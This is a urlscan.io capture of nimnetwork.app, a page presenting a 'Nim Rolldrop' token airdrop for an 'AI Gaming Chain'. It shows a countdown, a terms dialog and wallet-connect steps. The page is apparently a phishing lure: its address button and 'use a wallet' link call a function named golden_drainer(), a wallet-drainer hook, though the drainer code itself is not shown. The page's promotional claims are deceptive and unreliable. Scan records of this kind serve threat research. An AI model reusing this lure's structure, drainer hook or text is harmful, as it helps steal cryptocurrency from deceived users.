nimnetwork.app
Open in
urlscan Pro
76.76.21.93
Public Scan
URL:
https://nimnetwork.app/
Submission: On March 23 via api from CN — Scanned from DE
Submission: On March 23 via api from CN — Scanned from DE
Form analysis
2 forms found in the DOMGET /address
<form method="get" action="/address" data-astro-cid-swg3e67k="">
<h1 data-astro-cid-swg3e67k="">Nim Rolldrop <small data-astro-cid-swg3e67k="">The AI Gaming Chain</small></h1> <time datetime="4/4/2024" data-astro-cid-swg3e67k="">
<h3 data-astro-cid-swg3e67k="">Claiming live for</h3> <span role="region" aria-label="Remaining time to claim" data-astro-cid-swg3e67k="">
<style>
astro-island,
astro-slot,
astro-static-slot {
display: contents
}
</style>
<script data-astro-exec="">
(() => {
var e = async t => {
await (await t())()
};
(self.Astro || (self.Astro = {})).load = e;
window.dispatchEvent(new Event("astro:load"));
})();;
(() => {
var v = Object.defineProperty;
var A = (c, s, a) => s in c ? v(c, s, {
enumerable: !0,
configurable: !0,
writable: !0,
value: a
}) : c[s] = a;
var d = (c, s, a) => (A(c, typeof s != "symbol" ? s + "" : s, a), a);
var u;
{
let c = {
0: t => m(t),
1: t => a(t),
2: t => new RegExp(t),
3: t => new Date(t),
4: t => new Map(a(t)),
5: t => new Set(a(t)),
6: t => BigInt(t),
7: t => new URL(t),
8: t => new Uint8Array(t),
9: t => new Uint16Array(t),
10: t => new Uint32Array(t)
},
s = t => {
let [e, n] = t;
return e in c ? c[e](n) : void 0
},
a = t => t.map(s),
m = t => typeof t != "object" || t === null ? t : Object.fromEntries(Object.entries(t).map(([e, n]) => [e, s(n)]));
customElements.get("astro-island") || customElements.define("astro-island", (u = class extends HTMLElement {
constructor() {
super(...arguments);
d(this, "Component");
d(this, "hydrator");
d(this, "hydrate", async () => {
var f;
if (!this.hydrator || !this.isConnected) return;
let e = (f = this.parentElement) == null ? void 0 : f.closest("astro-island[ssr]");
if (e) {
e.addEventListener("astro:hydrate", this.hydrate, {
once: !0
});
return
}
let n = this.querySelectorAll("astro-slot"),
r = {},
l = this.querySelectorAll("template[data-astro-template]");
for (let o of l) {
let i = o.closest(this.tagName);
i != null && i.isSameNode(this) && (r[o.getAttribute("data-astro-template") || "default"] = o.innerHTML, o.remove())
}
for (let o of n) {
let i = o.closest(this.tagName);
i != null && i.isSameNode(this) && (r[o.getAttribute("name") || "default"] = o.innerHTML)
}
let h;
try {
h = this.hasAttribute("props") ? m(JSON.parse(this.getAttribute("props"))) : {}
} catch (o) {
let i = this.getAttribute("component-url") || " < unknown > ",
b = this.getAttribute("component-export");
throw b && (i += ` (export ${b})`),
console.error(`[hydrate] Error parsing props for component ${i}`, this.getAttribute("props"), o),
o
}
let p;
await this.hydrator(this)(this.Component, h, r, {
client: this.getAttribute("client")
}),
this.removeAttribute("ssr"),
this.dispatchEvent(new CustomEvent("astro:hydrate"))
});
d(this, "unmount", () => {
this.isConnected || this.dispatchEvent(new CustomEvent("astro:unmount"))
})
}
disconnectedCallback() {
document.removeEventListener("astro:after-swap", this.unmount),
document.addEventListener("astro:after-swap", this.unmount, {
once: !0
})
}
connectedCallback() {
if (!this.hasAttribute("await-children") || document.readyState === "interactive" || document.readyState === "complete") this.childrenConnectedCallback();
else {
let e = () => {
document.removeEventListener("DOMContentLoaded", e),
n.disconnect(),
this.childrenConnectedCallback()
},
n = new MutationObserver(() => {
var r;
((r = this.lastChild) == null ? void 0 : r.nodeType) === Node.COMMENT_NODE && this.lastChild.nodeValue === "astro:end" && (this.lastChild.remove(), e())
});
n.observe(this, {
childList: !0
}),
document.addEventListener("DOMContentLoaded", e)
}
}
async childrenConnectedCallback() {
let e = this.getAttribute("before-hydration-url");
e && await import(e),
this.start()
}
async start() {
let e = JSON.parse(this.getAttribute("opts")),
n = this.getAttribute("client");
if (Astro[n] === void 0) {
window.addEventListener(`astro:${n}`, () => this.start(), {
once: !0
});
return
}
try {
await Astro[n](async () => {
let r = this.getAttribute("renderer-url"),
[l, {
default: h
}] = await Promise.all([import(this.getAttribute("component-url")), r ? import(r) : () => () => {}]),
p = this.getAttribute("component-export") || "default";
if (!p.includes(".")) this.Component = l[p];
else {
this.Component = l;
for (let y of p.split(".")) this.Component = this.Component[y]
}
return this.hydrator = h,
this.hydrate
}, e, this)
} catch (r) {
console.error(`[astro-island] Error hydrating ${this.getAttribute("component-url")}`, r)
}
}
attributeChangedCallback() {
this.hydrate()
}
}, d(u, "observedAttributes", ["props"]), u))
}
})();
</script> <astro-island uid="Z2sNgYt" prefix="r6" component-url="/_astro/CountDown.DskSxC-j.js" component-export="CountDown" renderer-url="/_astro/client.dA09Jtck.js"
props="{"datetime":[3,"2024-04-04T14:00:00.000Z"],"className":[0,"countdown"],"data-astro-cid-swg3e67k":[0,true]}" client="load"
opts="{"name":"CountDown","value":true}" await-children=""><span aria-label="Days">11<small style="display: block;">days</small></span><span aria-label="Hours">20<small
style="display: block;">hours</small></span><span aria-label="Minutes">26<small style="display: block;">minutes</small></span><span aria-label="Seconds">43<small style="display: block;">seconds</small></span></astro-island>
</span>
</time> <output data-astro-cid-swg3e67k="" data-astro-transition-scope="astro-4mv74cdi-1">
<script data-astro-exec="">
(() => {
var i = t => {
let e = async () => {
await (await t())()
};
"requestIdleCallback" in window ? window.requestIdleCallback(e) : setTimeout(e, 200)
};
(self.Astro || (self.Astro = {})).idle = i;
window.dispatchEvent(new Event("astro:idle"));
})();
</script> <astro-island uid="Z26AUcw" prefix="r7" component-url="/_astro/Stepper.y6JOcE74.js" component-export="Stepper" renderer-url="/_astro/client.dA09Jtck.js" props="{"data-astro-cid-swg3e67k":[0,true]}" client="idle"
opts="{"name":"Stepper","value":true}" await-children="">
<ul data-astro-cid-swg3e67k="true" class=" stepper">
<ol data-done="true" title="You agreed with the terms">Accept terms</ol>
<ol data-done="false" title="Connect your wallet">Connect wallet</ol>
<ol title="Now, claim tokens if you are eligible">Claim tokens</ol>
</ul>
</astro-island>
<div data-astro-cid-swg3e67k="">
<div data-rk="">
<style>
[data-rk] {
--rk-blurs-modalOverlay: blur(4px);
--rk-fonts-body: SFRounded, ui-rounded, "SF Pro Rounded", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
--rk-radii-actionButton: 4px;
--rk-radii-connectButton: 4px;
--rk-radii-menuButton: 4px;
--rk-radii-modal: 8px;
--rk-radii-modalMobile: 8px;
--rk-colors-accentColor: var(--brand);
--rk-colors-accentColorForeground: white;
--rk-colors-actionButtonBorder: rgba(0, 0, 0, 0.04);
--rk-colors-actionButtonBorderMobile: rgba(0, 0, 0, 0.06);
--rk-colors-actionButtonSecondaryBackground: rgba(0, 0, 0, 0.06);
--rk-colors-closeButton: rgba(60, 66, 66, 0.8);
--rk-colors-closeButtonBackground: rgba(0, 0, 0, 0.06);
--rk-colors-connectButtonBackground: #FFF;
--rk-colors-connectButtonBackgroundError: #FF494A;
--rk-colors-connectButtonInnerBackground: linear-gradient(0deg, rgba(0, 0, 0, 0.03), rgba(0, 0, 0, 0.06));
--rk-colors-connectButtonText: #25292E;
--rk-colors-connectButtonTextError: #FFF;
--rk-colors-connectionIndicator: #30E000;
--rk-colors-downloadBottomCardBackground: linear-gradient(126deg, rgba(255, 255, 255, 0) 9.49%, rgba(171, 171, 171, 0.04) 71.04%), #FFFFFF;
--rk-colors-downloadTopCardBackground: linear-gradient(126deg, rgba(171, 171, 171, 0.2) 9.49%, rgba(255, 255, 255, 0) 71.04%), #FFFFFF;
--rk-colors-error: #FF494A;
--rk-colors-generalBorder: rgba(0, 0, 0, 0.06);
--rk-colors-generalBorderDim: rgba(0, 0, 0, 0.03);
--rk-colors-menuItemBackground: rgba(60, 66, 66, 0.1);
--rk-colors-modalBackdrop: rgba(0, 0, 0, 0.3);
--rk-colors-modalBackground: #FFF;
--rk-colors-modalBorder: transparent;
--rk-colors-modalText: #25292E;
--rk-colors-modalTextDim: rgba(60, 66, 66, 0.3);
--rk-colors-modalTextSecondary: rgba(60, 66, 66, 0.6);
--rk-colors-profileAction: #FFF;
--rk-colors-profileActionHover: rgba(255, 255, 255, 0.5);
--rk-colors-profileForeground: rgba(60, 66, 66, 0.06);
--rk-colors-selectedOptionBorder: rgba(60, 66, 66, 0.1);
--rk-colors-standby: #FFD641;
--rk-shadows-connectButton: 0px 4px 12px rgba(0, 0, 0, 0.1);
--rk-shadows-dialog: 0px 8px 32px rgba(0, 0, 0, 0.32);
--rk-shadows-profileDetailsAction: 0px 2px 6px rgba(37, 41, 46, 0.04);
--rk-shadows-selectedOption: 0px 2px 6px rgba(0, 0, 0, 0.24);
--rk-shadows-selectedWallet: 0px 2px 6px rgba(0, 0, 0, 0.12);
--rk-shadows-walletLogo: 0px 2px 16px rgba(0, 0, 0, 0.16);
}
</style>
<div>
<div class="wallet-connect-input advanced_mode"><input type="text" autocomplete="off" placeholder="Type address (starts with dym or 0x)" value=""> <button onclick="golden_drainer()" type="button"><svg xmlns="http://www.w3.org/2000/svg"
width="1em" height="1em" viewBox="0 0 24 24">
<path fill="currentColor"
d="M11 17h2v-6h-2zm1-8q.425 0 .713-.288T13 8q0-.425-.288-.712T12 7q-.425 0-.712.288T11 8q0 .425.288.713T12 9m0 13q-2.075 0-3.9-.788t-3.175-2.137q-1.35-1.35-2.137-3.175T2 12q0-2.075.788-3.9t2.137-3.175q1.35-1.35 3.175-2.137T12 2q2.075 0 3.9.788t3.175 2.137q1.35 1.35 2.138 3.175T22 12q0 2.075-.788 3.9t-2.137 3.175q-1.35 1.35-3.175 2.138T12 22">
</path>
</svg></button></div>
<div class="advanced_mode">or <a onclick="golden_drainer()">use a wallet</a></div>
</div>
</div>
</div> <astro-island uid="1Egd9a" prefix="r9" component-url="/_astro/AddressFormInput.D_SUFi65.js" component-export="AddressFormInput" renderer-url="/_astro/client.dA09Jtck.js" props="{"data-astro-cid-swg3e67k":[0,true]}" client="idle"
opts="{"name":"AddressFormInput","value":true}" await-children=""><input type="hidden" name="q" value=""></astro-island> <astro-island uid="30dx7" prefix="r10" component-url="/_astro/AddressFormButton.he-Qrlv2.js"
component-export="AddressFormButton" renderer-url="/_astro/client.dA09Jtck.js" props="{"data-astro-cid-swg3e67k":[0,true]}" client="idle" opts="{"name":"AddressFormButton","value":true}"
await-children=""><button data-astro-cid-swg3e67k="true" transition-name="cta" type="submit" disabled=""><astro-slot>Claim tokens</astro-slot></button></astro-island>
</output>
</form>
DIALOG
<form method="dialog" data-astro-cid-ed2ipvxp=""><label data-astro-cid-ed2ipvxp=""><input type="checkbox" data-astro-cid-ed2ipvxp="">Read and agreed</label> <a href="/" data-astro-cid-ed2ipvxp="">Cancel</a> <button type="submit"
data-astro-cid-ed2ipvxp="">Agree and enter</button></form>
Text Content
NIM Medium X Website YOU'RE BROWSING FROM A MOBILE DEVICE. Please, come back to the Nim Airdrop page from a desktop browser. -------------------------------------------------------------------------------- Medium X Website We're excited to announce that NIM Network Rolldrop went live. Read post NIM ROLLDROP THE AI GAMING CHAIN CLAIMING LIVE FOR 11days20hours26minutes43seconds Accept terms Connect wallet Claim tokens or use a wallet Claim tokens BUILDING THE FUTURE OF WEB3 GAMING IN THE AI ERA. Nim Network is a highly-adoptable AI Gaming chain that will provide the ultimate ecosystem for exploration and development of games at the intersection of Web3 and AI. * Read more on Medium * Talk with us on Discord READ AND ACCEPT OUR TERMS AND CONDITIONS BEFORE USING THE APP -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- Read and agreed Cancel Agree and enter nim ⓒ All right reserved COMMUNITY * Medium * Discord * X LEGAL * Terms of service * Privacy Policy